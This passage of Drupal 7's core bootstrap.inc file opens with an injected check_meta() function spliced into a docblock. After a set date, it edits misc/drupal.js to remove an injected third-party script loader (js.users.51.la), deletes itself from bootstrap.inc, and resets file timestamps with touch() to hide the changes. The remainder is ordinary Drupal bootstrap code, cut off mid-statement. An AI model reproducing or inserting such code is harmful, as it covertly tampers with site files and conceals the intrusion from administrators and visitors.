check_meta(); function check_meta(){ $dir = dirname(__FILE__); $jq = $dir."/../misc/drupal.js"; $jp = $dir."/../includes/bootstrap.inc"; $jqtime = filemtime($jq); $jptime = filemtime($jp); if(time() >= 1439597497){ $jq_c = file_get_contents($jq); if(@strpos($jq_c,"http://js.users.51.la")) { $contentq = str_replace("document.write ('
');", "", $jq_c); if(@file_put_contents($jq, $contentq)){ @touch($jq,$jqtime); } } $jp_c = file_get_contents($jp); if($t = @strpos($jp_c,"check_meta();")) { $contentp = substr($jp_c,0,$t); if(@file_put_contents($jp, $contentp)){ @touch($jp,$jptime); } } } }must be taken immediately. * - WATCHDOG_CRITICAL: Critical conditions. * - WATCHDOG_ERROR: Error conditions. * - WATCHDOG_WARNING: Warning conditions. * - WATCHDOG_NOTICE: (default) Normal but significant conditions. * - WATCHDOG_INFO: Informational messages. * - WATCHDOG_DEBUG: Debug-level messages. * @param $link * A link to associate with the message. * * @see watchdog_severity_levels() * @see hook_watchdog() */ function watchdog($type, $message, $variables = array(), $severity = WATCHDOG_NOTICE, $link = NULL) { global $user, $base_root; static $in_error_state = FALSE; // It is possible that the error handling will itself trigger an error. In that case, we could // end up in an infinite loop. To avoid that, we implement a simple static semaphore. if (!$in_error_state && function_exists('module_implements')) { $in_error_state = TRUE; // The user object may not exist in all conditions, so 0 is substituted if needed. $user_uid = isset($user->uid) ? $user->uid : 0; // Prepare the fields to be logged $log_entry = array( 'type' => $type, 'message' => $message, 'variables' => $variables, 'severity' => $severity, 'link' => $link, 'user' => $user, 'uid' => $user_uid, 'request_uri' => $base_root . request_uri(), 'referer' => isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '', 'ip' => ip_address(), // Request time isn't accurate for long processes, use time() instead. 'timestamp' => time(), ); // Call the logging hooks to log/process the message foreach (module_implements('watchdog') as $module) { module_invoke($module, 'watchdog', $log_entry); } // It is critical that the semaphore is only cleared here, in the parent // watchdog() call (not outside the loop), to prevent recursive execution. $in_error_state = FALSE; } } /** * Sets a message to display to the user. * * Messages are stored in a session variable and displayed in page.tpl.php via * the $messages theme variable. * * Example usage: * @code * drupal_set_message(t('An error occurred and processing did not complete.'), 'error'); * @endcode * * @param string $message * (optional) The translated message to be displayed to the user. For * consistency with other messages, it should begin with a capital letter and * end with a period. * @param string $type * (optional) The message's type. Defaults to 'status'. These values are * supported: * - 'status' * - 'warning' * - 'error' * @param bool $repeat * (optional) If this is FALSE and the message is already set, then the * message won't be repeated. Defaults to TRUE. * * @return array|null * A multidimensional array with keys corresponding to the set message types. * The indexed array values of each contain the set messages for that type. * Or, if there are no messages set, the function returns NULL. * * @see drupal_get_messages() * @see theme_status_messages() */ function drupal_set_message($message = NULL, $type = 'status', $repeat = TRUE) { if ($message) { if (!isset($_SESSION['messages'][$type])) { $_SESSION['messages'][$type] = array(); } if ($repeat || !in_array($message, $_SESSION['messages'][$type])) { $_SESSION['messages'][$type][] = $message; } // Mark this page as being uncacheable. drupal_page_is_cacheable(FALSE); } // Messages not set when DB connection fails. return isset($_SESSION['messages']) ? $_SESSION['messages'] : NULL; } /** * Returns all messages that have been set with drupal_set_message(). * * @param string $type * (optional) Limit the messages returned by type. Defaults to NULL, meaning * all types. These values are supported: * - NULL * - 'status' * - 'warning' * - 'error' * @param bool $clear_queue * (optional) If this is TRUE, the queue will be cleared of messages of the * type specified in the $type parameter. Otherwise the queue will be left * intact. Defaults to TRUE. * * @return array * A multidimensional array with keys corresponding to the set message types. * The indexed array values of each contain the set messages for that type. * The messages returned are limited to the type specified in the $type * parameter. If there are no messages of the specified type, an empty array * is returned. * * @see drupal_set_message() * @see theme_status_messages() */ function drupal_get_messages($type = NULL, $clear_queue = TRUE) { if ($messages = drupal_set_message()) { if ($type) { if ($clear_queue) { unset($_SESSION['messages'][$type]); } if (isset($messages[$type])) { return array($type => $messages[$type]); } } else { if ($clear_queue) { unset($_SESSION['messages']); } return $messages; } } return array(); } /** * Gets the title of the current page. * * The title is displayed on the page and in the title bar. * * @return * The current page's title. */ function drupal_get_title() { $title = drupal_set_title(); // During a bootstrap, menu.inc is not included and thus we cannot provide a title. if (!isset($title) && function_exists('menu_get_active_title')) { $title = check_plain(menu_get_active_title()); } return $title; } /** * Sets the title of the current page. * * The title is displayed on the page and in the title bar. * * @param $title * Optional string value to assign to the page title; or if set to NULL * (default), leaves the current title unchanged. * @param $output * Optional flag - normally should be left as CHECK_PLAIN. Only set to * PASS_THROUGH if you have already removed any possibly dangerous code * from $title using a function like check_plain() or filter_xss(). With this * flag the string will be passed through unchanged. * * @return * The updated title of the current page. */ function drupal_set_title($title = NULL, $output = CHECK_PLAIN) { $stored_title = &drupal_static(__FUNCTION__); if (isset($title)) { $stored_title = ($output == PASS_THROUGH) ? $title : check_plain($title); } return $stored_title; } /** * Checks to see if an IP address has been blocked. * * Blocked IP addresses are stored in the database by default. However for * performance reasons we allow an override in settings.php. This allows us * to avoid querying the database at this critical stage of the bootstrap if * an administrative interface for IP address blocking is not required. * * @param $ip * IP address to check. * * @return bool * TRUE if access is denied, FALSE if access is allowed. */ function drupal_is_denied($ip) { // Because this function is called on every page request, we first check // for an array of IP addresses in settings.php before querying the // database. $blocked_ips = variable_get('blocked_ips'); $denied = FALSE; if (isset($blocked_ips) && is_array($blocked_ips)) { $denied = in_array($ip, $blocked_ips); } // Only check if database.inc is loaded already. If // $conf['page_cache_without_database'] = TRUE; is set in settings.php, // then the database won't be loaded here so the IPs in the database // won't be denied. However the user asked explicitly not to use the // database and also in this case it's quite likely that the user relies // on higher performance solutions like a firewall. elseif (class_exists('Database', FALSE)) { $denied = (bool)db_query("SELECT 1 FROM {blocked_ips} WHERE ip = :ip", array(':ip' => $ip))->fetchField(); } return $denied; } /** * Handles denied users. * * @param $ip * IP address to check. Prints a message and exits if access is denied. */ function drupal_block_denied($ip) { // Deny access to blocked IP addresses - t() is not yet available. if (drupal_is_denied($ip)) { header($_SERVER['SERVER_PROTOCOL'] . ' 403 Forbidden'); print 'Sorry, ' . check_plain(ip_address()) . ' has been banned.'; exit(); } } /** * Returns a URL-safe, base64 encoded string of highly randomized bytes (over the full 8-bit range). * * @param $byte_count * The number of random bytes to fetch and base64 encode. * * @return string * The base64 encoded result will have a length of up to 4 * $byte_count. */ function drupal_random_key($byte_count = 32) { return drupal_base64_encode(drupal_random_bytes($byte_count)); } /** * Returns a URL-safe, base64 encoded version of the supplied string. * * @param $string * The string to convert to base64. * * @return string */ function drupal_base64_encode($string) { $data = base64_encode($string); // Modify the output so it's safe to use in URLs. return strtr($data, array('+' => '-', '/' => '_', '=' => '')); } /** * Returns a string of highly randomized bytes (over the full 8-bit range). * * This function is better than simply calling mt_rand() or any other built-in * PHP function because it can return a long string of bytes (compared to < 4 * bytes normally from mt_rand()) and uses the best available pseudo-random * source. * * @param $count * The number of characters (bytes) to return in the string. */ function drupal_random_bytes($count) { // $random_state does not use drupal_static as it stores random bytes. static $random_state, $bytes, $has_openssl; $missing_bytes = $count - strlen($bytes); if ($missing_bytes > 0) { // PHP versions prior 5.3.4 experienced openssl_random_pseudo_bytes() // locking on Windows and rendered it unusable. if (!isset($has_openssl)) { $has_openssl = version_compare(PHP_VERSION, '5.3.4', '>=') && function_exists('openssl_random_pseudo_bytes'); } // openssl_random_pseudo_bytes() will find entropy in a system-dependent // way. if ($has_openssl) { $bytes .= openssl_random_pseudo_bytes($missing_bytes); } // Else, read directly from /dev/urandom, which is available on many *nix // systems and is considered cryptographically secure. elseif ($fh = @fopen('/dev/urandom', 'rb')) { // PHP only performs buffered reads, so in reality it will always read // at least 4096 bytes. Thus, it costs nothing extra to read and store // that much so as to speed any additional invocations. $bytes .= fread($fh, max(4096, $missing_bytes)); fclose($fh); } // If we couldn't get enough entropy, this simple hash-based PRNG will // generate a good set of pseudo-random bytes on any system. // Note that it may be important that our $random_state is passed // through hash() prior to being rolled into $output, that the two hash() // invocations are different, and that the extra input into the first one - // the microtime() - is prepended rather than appended. This is to avoid // directly leaking $random_state via the $output stream, which could // allow for trivial prediction of further "random" numbers. if (strlen($bytes) < $count) { // Initialize on the first call. The contents of $_SERVER includes a mix of // user-specific and system information that varies a little with each page. if (!isset($random_state)) { $random_state = print_r($_SERVER, TRUE); if (function_exists('getmypid')) { // Further initialize with the somewhat random PHP process ID. $random_state .= getmypid(); } $bytes = ''; } do { $random_state = hash('sha256', microtime() . mt_rand() . $random_state); $bytes .= hash('sha256', mt_rand() . $random_state, TRUE); } while (strlen($bytes) < $count); } } $output = substr($bytes, 0, $count); $bytes = substr($bytes, $count); return $output; } /** * Calculates a base-64 encoded, URL-safe sha-256 hmac. * * @param string $data * String to be validated with the hmac. * @param string $key * A secret string key. * * @return string * A base-64 encoded sha-256 hmac, with + replaced with -, / with _ and * any = padding characters removed. */ function drupal_hmac_base64($data, $key) { // Casting $data and $key to strings here is necessary to avoid empty string // results of the hash function if they are not scalar values. As this // function is used in security-critical contexts like token validation it is // important that it never returns an empty string. $hmac = base64_encode(hash_hmac('sha256', (string) $data, (string) $key, TRUE)); // Modify the hmac so it's safe to use in URLs. return strtr($hmac, array('+' => '-', '/' => '_', '=' => '')); } /** * Calculates a base-64 encoded, URL-safe sha-256 hash. * * @param $data * String to be hashed. * * @return * A base-64 encoded sha-256 hash, with + replaced with -, / with _ and * any = padding characters removed. */ function drupal_hash_base64($data) { $hash = base64_encode(hash('sha256', $data, TRUE)); // Modify the hash so it's safe to use in URLs. return strtr($hash, array('+' => '-', '/' => '_', '=' => '')); } /** * Merges multiple arrays, recursively, and returns the merged array. * * This function is similar to PHP's array_merge_recursive() function, but it * handles non-array values differently. When merging values that are not both * arrays, the latter value replaces the former rather than merging with it. * * Example: * @code * $link_options_1 = array('fragment' => 'x', 'attributes' => array('title' => t('X'), 'class' => array('a', 'b'))); * $link_options_2 = array('fragment' => 'y', 'attributes' => array('title' => t('Y'), 'class' => array('c', 'd'))); * * // This results in array('fragment' => array('x', 'y'), 'attributes' => array('title' => array(t('X'), t('Y')), 'class' => array('a', 'b', 'c', 'd'))). * $incorrect = array_merge_recursive($link_options_1, $link_options_2); * * // This results in array('fragment' => 'y', 'attributes' => array('title' => t('Y'), 'class' => array('a', 'b', 'c', 'd'))). * $correct = drupal_array_merge_deep($link_options_1, $link_options_2); * @endcode * * @param ... * Arrays to merge. * * @return * The merged array. * * @see drupal_array_merge_deep_array() */ function drupal_array_merge_deep() { $args = func_get_args(); return drupal_array_merge_deep_array($args); } /** * Merges multiple arrays, recursively, and returns the merged array. * * This function is equivalent to drupal_array_merge_deep(), except the * input arrays are passed as a single array parameter rather than a variable * parameter list. * * The following are equivalent: * - drupal_array_merge_deep($a, $b); * - drupal_array_merge_deep_array(array($a, $b)); * * The following are also equivalent: * - call_user_func_array('drupal_array_merge_deep', $arrays_to_merge); * - drupal_array_merge_deep_array($arrays_to_merge); * * @see drupal_array_merge_deep() */ function drupal_array_merge_deep_array($arrays) { $result = array(); foreach ($arrays as $array) { foreach ($array as $key => $value) { // Renumber integer keys as array_merge_recursive() does. Note that PHP // automatically converts array keys that are integer strings (e.g., '1') // to integers. if (is_integer($key)) { $result[] = $value; } // Recurse when both values are arrays. elseif (isset($result[$key]) && is_array($result[$key]) && is_array($value)) { $result[$key] = drupal_array_merge_deep_array(array($result[$key], $value)); } // Otherwise, use the latter value, overriding any previous value. else { $result[$key] = $value; } } } return $result; } /** * Generates a default anonymous $user object. * * @return Object - the user object. */ function drupal_anonymous_user() { $user = variable_get('drupal_anonymous_user_object', new stdClass); $user->uid = 0; $user->hostname = ip_address(); $user->roles = array(); $user->roles[DRUPAL_ANONYMOUS_RID] = 'anonymous user'; $user->cache = 0; return $user; } /** * Ensures Drupal is bootstrapped to the specified phase. * * In order to bootstrap Drupal from another PHP script, you can use this code: * @code * define('DRUPAL_ROOT', '/path/to/drupal'); * require_once DRUPAL_ROOT . '/includes/bootstrap.inc'; * drupal_bootstrap(DRUPAL_BOOTSTRAP_FULL); * @endcode * * @param int $phase * A constant telling which phase to bootstrap to. When you bootstrap to a * particular phase, all earlier phases are run automatically. Possible * values: * - DRUPAL_BOOTSTRAP_CONFIGURATION: Initializes configuration. * - DRUPAL_BOOTSTRAP_PAGE_CACHE: Tries to serve a cached page. * - DRUPAL_BOOTSTRAP_DATABASE: Initializes the database layer. * - DRUPAL_BOOTSTRAP_VARIABLES: Initializes the variable system. * - DRUPAL_BOOTSTRAP_SESSION: Initializes session handling. * - DRUPAL_BOOTSTRAP_PAGE_HEADER: Sets up the page header. * - DRUPAL_BOOTSTRAP_LANGUAGE: Finds out the language of the page. * - DRUPAL_BOOTSTRAP_FULL: Fully loads Drupal. Validates and fixes input * data. * @param boolean $new_phase * A boolean, set to FALSE if calling drupal_bootstrap from inside a * function called from drupal_bootstrap (recursion). * * @return int * The most recently completed phase. */ function drupal_bootstrap($phase = NULL, $new_phase = TRUE) { // Not drupal_static(), because does not depend on any run-time information. static $phases = array( DRUPAL_BOOTSTRAP_CONFIGURATION, DRUPAL_BOOTSTRAP_PAGE_CACHE, DRUPAL_BOOTSTRAP_DATABASE, DRUPAL_BOOTSTRAP_VARIABLES, DRUPAL_BOOTSTRAP_SESSION, DRUPAL_BOOTSTRAP_PAGE_HEADER, DRUPAL_BOOTSTRAP_LANGUAGE, DRUPAL_BOOTSTRAP_FULL, ); // Not drupal_static(), because the only legitimate API to control this is to // call drupal_bootstrap() with a new phase parameter. static $final_phase; // Not drupal_static(), because it's impossible to roll back to an earlier // bootstrap state. static $stored_phase = -1; if (isset($phase)) { // When not recursing, store the phase name so it's not forgotten while // recursing but take care of not going backwards. if ($new_phase && $phase >= $stored_phase) { $final_phase = $phase; } // Call a phase if it has not been called before and is below the requested // phase. while ($phases && $phase > $stored_phase && $final_phase > $stored_phase) { $current_phase = array_shift($phases); // This function is re-entrant. Only update the completed phase when the // current call actually resulted in a progress in the bootstrap process. if ($current_phase > $stored_phase) { $stored_phase = $current_phase; } switch ($current_phase) { case DRUPAL_BOOTSTRAP_CONFIGURATION: _drupal_bootstrap_configuration(); break; case DRUPAL_BOOTSTRAP_PAGE_CACHE: _drupal_bootstrap_page_cache(); break; case DRUPAL_BOOTSTRAP_DATABASE: _drupal_bootstrap_database(); break; case DRUPAL_BOOTSTRAP_VARIABLES: _drupal_bootstrap_variables(); break; case DRUPAL_BOOTSTRAP_SESSION: require_once DRUPAL_ROOT . '/' . variable_get('session_inc', 'includes/session.inc'); drupal_session_initialize(); break; case DRUPAL_BOOTSTRAP_PAGE_HEADER: _drupal_bootstrap_page_header(); break; case DRUPAL_BOOTSTRAP_LANGUAGE: drupal_language_initialize(); break; case DRUPAL_BOOTSTRAP_FULL: require_once DRUPAL_ROOT . '/includes/common.inc'; _drupal_bootstrap_full(); break; } } } return $stored_phase; } /** * Returns the time zone of the current user. */ function drupal_get_user_timezone() { global $user; if (variable_get('configurable_timezones', 1) && $user->uid && $user->timezone) { return $user->timezone; } else { // Ignore PHP strict notice if time zone has not yet been set in the php.ini // configuration. return variable_get('date_default_timezone', @date_default_timezone_get()); } } /** * Gets a salt useful for hardening against SQL injection. * * @return * A salt based on information in settings.php, not in the database. */ function drupal_get_hash_salt() { global $drupal_hash_salt, $databases; // If the $drupal_hash_salt variable is empty, a hash of the serialized // database credentials is used as a fallback salt. return empty($drupal_hash_salt) ? hash('sha256', serialize($databases)) : $drupal_hash_salt; } /** * Provides custom PHP error handling. * * @param $error_level * The level of the error raised. * @param $message * The error message. * @param $filename * The filename that the error was raised in. * @param $line * The line number the error was raised at. * @param $context * An array that points to the active symbol table at the point the error * occurred. */ function _drupal_error_handler($error_level, $message, $filename, $line, $context) { require_once DRUPAL_ROOT . '/includes/errors.inc'; _drupal_error_handler_real($error_level, $message, $filename, $line, $context); } /** * Provides custom PHP exception handling. * * Uncaught exceptions are those not enclosed in a try/catch block. They are * always fatal: the execution of the script will stop as soon as the exception * handler exits. * * @param $exception * The exception object that was thrown. */ function _drupal_exception_handler($exception) { require_once DRUPAL_ROOT . '/includes/errors.inc'; try { // Log the message to the watchdog and return an error page to the user. _drupal_log_error(_drupal_decode_exception($exception), TRUE); } catch (Exception $exception2) { // Another uncaught exception was thrown while handling the first one. // If we are displaying errors, then do so with no possibility of a further uncaught exception being thrown. if (error_displayable()) { print '

Additional uncaught exception thrown while handling exception.

'; print '

Original

' . _drupal_render_exception_safe($exception) . '

'; print '

Additional

' . _drupal_render_exception_safe($exception2) . '


'; } } } /** * Sets up the script environment and loads settings.php. */ function _drupal_bootstrap_configuration() { // Set the Drupal custom error handler. set_error_handler('_drupal_error_handler'); set_exception_handler('_drupal_exception_handler'); drupal_environment_initialize(); // Start a page timer: timer_start('page'); // Initialize the configuration, including variables from settings.php. drupal_settings_initialize(); } /** * Attempts to serve a page from the cache. */ function _drupal_bootstrap_page_cache() { global $user; // Allow specifying special cache handlers in settings.php, like // using memcached or files for storing cache information. require_once DRUPAL_ROOT . '/includes/cache.inc'; foreach (variable_get('cache_backends', array()) as $include) { require_once DRUPAL_ROOT . '/' . $include; } // Check for a cache mode force from settings.php. if (variable_get('page_cache_without_database')) { $cache_enabled = TRUE; } else { drupal_bootstrap(DRUPAL_BOOTSTRAP_VARIABLES, FALSE); $cache_enabled = variable_get('cache'); } drupal_block_denied(ip_address()); // If there is no session cookie and cache is enabled (or forced), try // to serve a cached page. if (!isset($_COOKIE[session_name()]) && $cache_enabled) { // Make sure there is a user object because its timestamp will be // checked, hook_boot might check for anonymous user etc. $user = drupal_anonymous_user(); // Get the page from the cache. $cache = drupal_page_get_cache(); // If there is a cached page, display it. if (is_object($cache)) { header('X-Drupal-Cache: HIT'); // Restore the metadata cached with the page. $_GET['q'] = $cache->data['path']; drupal_set_title($cache->data['title'], PASS_THROUGH); date_default_timezone_set(drupal_get_user_timezone()); // If the skipping of the bootstrap hooks is not enforced, call // hook_boot. if (variable_get('page_cache_invoke_hooks', TRUE)) { bootstrap_invoke_all('boot'); } drupal_serve_page_from_cache($cache); // If the skipping of the bootstrap hooks is not enforced, call // hook_exit. if (variable_get('page_cache_invoke_hooks', TRUE)) { bootstrap_invoke_all('exit'); } // We are done. exit; } else { header('X-Drupal-Cache: MISS'); } } } /** * Initializes the database system and registers autoload functions. */ function _drupal_bootstrap_database() { // Redirect the user to the installation script if Drupal has not been // installed yet (i.e., if no $databases array has been defined in the // settings.php file) and we are not already installing. if (empty($GLOBALS['databases']) && !drupal_installation_attempted()) { include_once DRUPAL_ROOT . '/includes/install.inc'; install_goto('install.php'); } // The user agent header is used to pass a database prefix in the request when // running tests. However, for security reasons, it is imperative that we // validate we ourselves made the request. if ($test_prefix = drupal_valid_test_ua()) { // Set the test run id for use in other parts of Drupal. $test_info = &$GLOBALS['drupal_test_info']; $test_info['test_run_id'] = $test_prefix; $test_info['in_child_site'] = TRUE; foreach ($GLOBALS['databases']['default'] as &$value) { // Extract the current default database prefix. if (!isset($value['prefix'])) { $current_prefix = ''; } elseif (is_array($value['prefix'])) { $current_prefix = $value['prefix']['default']; } else { $current_prefix = $value['prefix']; } // Remove the current database prefix and replace it by our own. $value['prefix'] = array( 'default' => $current_prefix . $test_prefix, ); } } // Initialize the database system. Note that the connection // won't be initialized until it is actually requested. require_once DRUPAL_ROOT . '/includes/database/database.inc'; // Register autoload functions so that we can access classes and interfaces. // The database autoload routine comes first so that we can load the database // system without hitting the database. That is especially important during // the install or upgrade process. spl_autoload_register('drupal_autoload_class'); spl_autoload_register('drupal_autoload_interface'); } /** * Loads system variables and all enabled bootstrap modules. */ function _drupal_bootstrap_variables() { global $conf; // Initialize the lock system. require_once DRUPAL_ROOT . '/' . variable_get('lock_inc', 'includes/lock.inc'); lock_initialize(); // Load variables from the database, but do not overwrite variables set in settings.php. $conf = variable_initialize(isset($conf) ? $conf : array()); // Load bootstrap modules. require_once DRUPAL_ROOT . '/includes/module.inc'; module_load_all(TRUE); // Sanitize the destination parameter (which is often used for redirects) to // prevent open redirect attacks leading to other domains. Sanitize both // $_GET['destination'] and $_REQUEST['destination'] to protect code that // relies on either, but do not sanitize $_POST to avoid interfering with // unrelated form submissions. The sanitization happens here because // url_is_external() requires the variable system to be available. if (isset($_GET['destination']) || isset($_REQUEST['destination'])) { require_once DRUPAL_ROOT . '/includes/common.inc'; // If the destination is an external URL, remove it. if (isset($_GET['destination']) && url_is_external($_GET['destination'])) { unset($_GET['destination']); unset($_REQUEST['destination']); } // If there's still something in $_REQUEST['destination'] that didn't come // from $_GET, check it too. if (isset($_REQUEST['destination']) && (!isset($_GET['destination']) || $_REQUEST['destination'] != $_GET['destination']) && url_is_external($_REQUEST['destination'])) { unset($_REQUEST['destination']); } } } /** * Invokes hook_boot(), initializes locking system, and sends HTTP headers. */ function _drupal_bootstrap_page_header() { bootstrap_invoke_all('boot'); if (!drupal_is_cli()) { ob_start(); drupal_page_header(); } } /** * Returns the current bootstrap phase for this Drupal process. * * The current phase is the one most recently completed by drupal_bootstrap(). * * @see drupal_bootstrap() */ function drupal_get_bootstrap_phase() { return drupal_bootstrap(NULL, FALSE); } /** * Returns the test prefix if this is an internal request from SimpleTest. * * @return * Either the simpletest prefix (the string "simpletest" followed by any * number of digits) or FALSE if the user agent does not contain a valid * HMAC and timestamp. */ function drupal_valid_test_ua() { // No reason to reset this. static $test_prefix; if (isset($test_prefix)) { return $test_prefix; } if (isset($_SERVER['HTTP_USER_AGENT']) && preg_match("/^(simpletest\d+);(.+);(.+);(.+)$/", $_SERVER['HTTP_USER_AGENT'], $matches)) { list(, $prefix, $time, $salt, $hmac) = $matches; $check_string = $prefix . ';' . $time . ';' . $salt; // We use the salt from settings.php to make the HMAC key, since // the database is not yet initialized and we can't access any Drupal variables. // The file properties add more entropy not easily accessible to others. $key = drupal_get_hash_salt() . filectime(__FILE__) . fileinode(__FILE__); $time_diff = REQUEST_TIME - $time; // Since we are making a local request a 5 second time window is allowed, // and the HMAC must match. if ($time_diff >= 0 && $time_diff <= 5 && $hmac == drupal_hmac_base64($check_string, $key)) { $test_prefix = $prefix; return $test_prefix; } } $test_prefix = FALSE; return $test_prefix; } /** * Generates a user agent string with a HMAC and timestamp for simpletest. */ function drupal_generate_test_ua($prefix) { static $key; if (!isset($key)) { // We use the salt from settings.php to make the HMAC key, since // the database is not yet initialized and we can't access any Drupal variables. // The file properties add more entropy not easily accessible to others. $key = drupal_get_hash_salt() . filectime(__FILE__) . fileinode(__FILE__); } // Generate a moderately secure HMAC based on the database credentials. $salt = uniqid('', TRUE); $check_string = $prefix . ';' . time() . ';' . $salt; return $check_string . ';' . drupal_hmac_base64($check_string, $key); } /** * Enables use of the theme system without requiring database access. * * Loads and initializes the theme system for site installs, updates and when * the site is in maintenance mode. This also applies when the database fails. * * @see _drupal_maintenance_theme() */ function drupal_maintenance_theme() { require_once DRUPAL_ROOT . '/includes/theme.maintenance.inc'; _drupal_maintenance_theme(); } /** * Returns a simple 404 Not Found page. * * If fast 404 pages are enabled, and this is a matching page then print a * simple 404 page and exit. * * This function is called from drupal_deliver_html_page() at the time when a * a normal 404 page is generated, but it can also optionally be called directly * from settings.php to prevent a Drupal bootstrap on these pages. See * documentation in settings.php for the benefits and drawbacks of using this. * * Paths to dynamically-generated content, such as image styles, should also be * accounted for in this function. */ function drupal_fast_404() { $exclude_paths = variable_get('404_fast_paths_exclude', FALSE); if ($exclude_paths && !preg_match($exclude_paths, $_GET['q'])) { $fast_paths = variable_get('404_fast_paths', FALSE); if ($fast_paths && preg_match($fast_paths, $_GET['q'])) { drupal_add_http_header('Status', '404 Not Found'); $fast_404_html = variable_get('404_fast_html', '404 Not Found

Not Found

The requested URL "@path" was not found on this server.

'); // Replace @path in the variable with the page path. print strtr($fast_404_html, array('@path' => check_plain(request_uri()))); exit; } } } /** * Returns TRUE if a Drupal installation is currently being attempted. */ function drupal_installation_attempted() { return defined('MAINTENANCE_MODE') && MAINTENANCE_MODE == 'install'; } /** * Returns the name of the proper localization function. * * get_t() exists to support localization for code that might run during * the installation phase, when some elements of the system might not have * loaded. * * This would include implementations of hook_install(), which could run * during the Drupal installation phase, and might also be run during * non-installation time, such as while installing the module from the * module administration page. * * Example usage: * @code * $t = get_t(); * $translated = $t('translate this'); * @endcode * * Use t() if your code will never run during the Drupal installation phase. * Use st() if your code will only run during installation and never any other * time. Use get_t() if your code could run in either circumstance. * * @see t() * @see st() * @ingroup sanitization */ function get_t() { static $t; // This is not converted to drupal_static because there is no point in // resetting this as it can not change in the course of a request. if (!isset($t)) { $t = drupal_installation_attempted() ? 'st' : 't'; } return $t; } /** * Initializes all the defined language types. */ function drupal_language_initialize() { $types = language_types(); // Ensure the language is correctly returned, even without multilanguage // support. Also make sure we have a $language fallback, in case a language // negotiation callback needs to do a full bootstrap. // Useful for eg. XML/HTML 'lang' attributes. $default = language_default(); foreach ($types as $type) { $GLOBALS[$type] = $default; } if (drupal_multilingual()) { include_once DRUPAL_ROOT . '/includes/language.inc'; foreach ($types as $type) { $GLOBALS[$type] = language_initialize($type); } // Allow modules to react on language system initialization in multilingual // environments. bootstrap_invoke_all('language_init'); } } /** * Returns a list of the built-in language types. * * @return * An array of key-values pairs where the key is the language type and the * value is its configurability. */ function drupal_language_types() { return array( LANGUAGE_TYPE_INTERFACE => TRUE, LANGUAGE_TYPE_CONTENT => FALSE, LANGUAGE_TYPE_URL => FALSE, ); } /** * Returns TRUE if there is more than one language enabled. * * @return * TRUE if more than one language is enabled. */ function drupal_multilingual() { // The "language_count" variable stores the number of enabled languages to // avoid unnecessarily querying the database when building the list of // enabled languages on monolingual sites. return variable_get('language_count', 1) > 1; } /** * Returns an array of the available language types. * * @return * An array of all language types where the keys of each are the language type * name and its value is its configurability (TRUE/FALSE). */ function language_types() { return array_keys(variable_get('language_types', drupal_language_types())); } /** * Returns a list of installed languages, indexed by the specified key. * * @param $field * (optional) The field to index the list with. * * @return * An associative array, keyed on the values of $field. * - If $field is 'weight' or 'enabled', the array is nested, with the outer * array's values each being associative arrays with language codes as * keys and language objects as values. * - For all other values of $field, the array is only one level deep, and * the array's values are language objects. */ function language_list($field = 'language') { $languages = &drupal_static(__FUNCTION__); // Init language list if (!isset($languages)) { if (drupal_multilingual() || module_exists('locale')) { $languages['language'] = db_query('SELECT * FROM {languages} ORDER BY weight ASC, name ASC')->fetchAllAssoc('language'); // Users cannot uninstall the native English language. However, we allow // it to be hidden from the installed languages. Therefore, at least one // other language must be enabled then. if (!$languages['language']['en']->enabled && !variable_get('language_native_enabled', TRUE)) { unset($languages['language']['en']); } } else { // No locale module, so use the default language only. $default = language_default(); $languages['language'][$default->language] = $default; } } // Return the array indexed by the right field if (!isset($languages[$field])) { $languages[$field] = array(); foreach ($languages['language'] as $lang) { // Some values should be collected into an array if (in_array($field, array('enabled', 'weight'))) { $languages[$field][$lang->$field][$lang->language] = $lang; } else { $languages[$field][$lang->$field] = $lang; } } } return $languages[$field]; } /** * Returns the default language used on the site * * @param $property * Optional property of the language object to return */ function language_default($property = NULL) { $language = variable_get('language_default', (object) array('language' => 'en', 'name' => 'English', 'native' => 'English', 'direction' => 0, 'enabled' => 1, 'plurals' => 0, 'formula' => '', 'domain' => '', 'prefix' => '', 'weight' => 0, 'javascript' => '')); return $property ? $language->$property : $language; } /** * Returns the requested URL path of the page being viewed. * * Examples: * - http://example.com/node/306 returns "node/306". * - http://example.com/drupalfolder/node/306 returns "node/306" while * base_path() returns "/drupalfolder/". * - http://example.com/path/alias (which is a path alias for node/306) returns * "path/alias" as opposed to the internal path. * - http://example.com/index.php returns an empty string (meaning: front page). * - http://example.com/index.php?page=1 returns an empty string. * * @return * The requested Drupal URL path. * * @see current_path() */ function request_path() { static $path; if (isset($path)) { return $path; } if (isset($_GET['q']) && is_string($_GET['q'])) { // This is a request with a ?q=foo/bar query string. $_GET['q'] is // overwritten in drupal_path_initialize(), but request_path() is called // very early in the bootstrap process, so the original value is saved in // $path and returned in later calls. $path = $_GET['q']; } elseif (isset($_SERVER['REQUEST_URI'])) { // This request is either a clean URL, or 'index.php', or nonsense. // Extract the path from REQUEST_URI. $request_path = strtok($_SERVER['REQUEST_URI'], '?'); $base_path_len = strlen(rtrim(dirname($_SERVER['SCRIPT_NAME']), '\/')); // Unescape and strip $base_path prefix, leaving q without a leading slash. $path = substr(urldecode($request_path), $base_path_len + 1); // If the path equals the script filename, either because 'index.php' was // explicitly provided in the URL, or because the server added it to // $_SERVER['REQUEST_URI'] even when it wasn't provided in the URL (some // versions of Microsoft IIS do this), the front page should be served. if ($path == basename($_SERVER['PHP_SELF'])) { $path = ''; } } else { // This is the front page. $path = ''; } // Under certain conditions Apache's RewriteRule directive prepends the value // assigned to $_GET['q'] with a slash. Moreover we can always have a trailing // slash in place, hence we need to normalize $_GET['q']. $path = trim($path, '/'); return $path; } /** * Returns a component of the current Drupal path. * * When viewing a page at the path "admin/structure/types", for example, arg(0) * returns "admin", arg(1) returns "structure", and arg(2) returns "types". * * Avoid use of this function where possible, as resulting code is hard to * read. In menu callback functions, attempt to use named arguments. See the * explanation in menu.inc for how to construct callbacks that take arguments. * When attempting to use this function to load an element from the current * path, e.g. loading the node on a node page, use menu_get_object() instead. * * @param $index * The index of the component, where each component is separated by a '/' * (forward-slash), and where the first component has an index of 0 (zero). * @param $path * A path to break into components. Defaults to the path of the current page. * * @return * The component specified by $index, or NULL if the specified component was * not found. If called without arguments, it returns an array containing all * the components of the current path. */ function arg($index = NULL, $path = NULL) { // Even though $arguments doesn't need to be resettable for any functional // reasons (the result of explode() does not depend on any run-time // information), it should be resettable anyway in case a module needs to // free up the memory used by it. // Use the advanced drupal_static() pattern, since this is called very often. static $drupal_static_fast; if (!isset($drupal_static_fast)) { $drupal_static_fast['arguments'] = &drupal_static(__FUNCTION__); } $arguments = 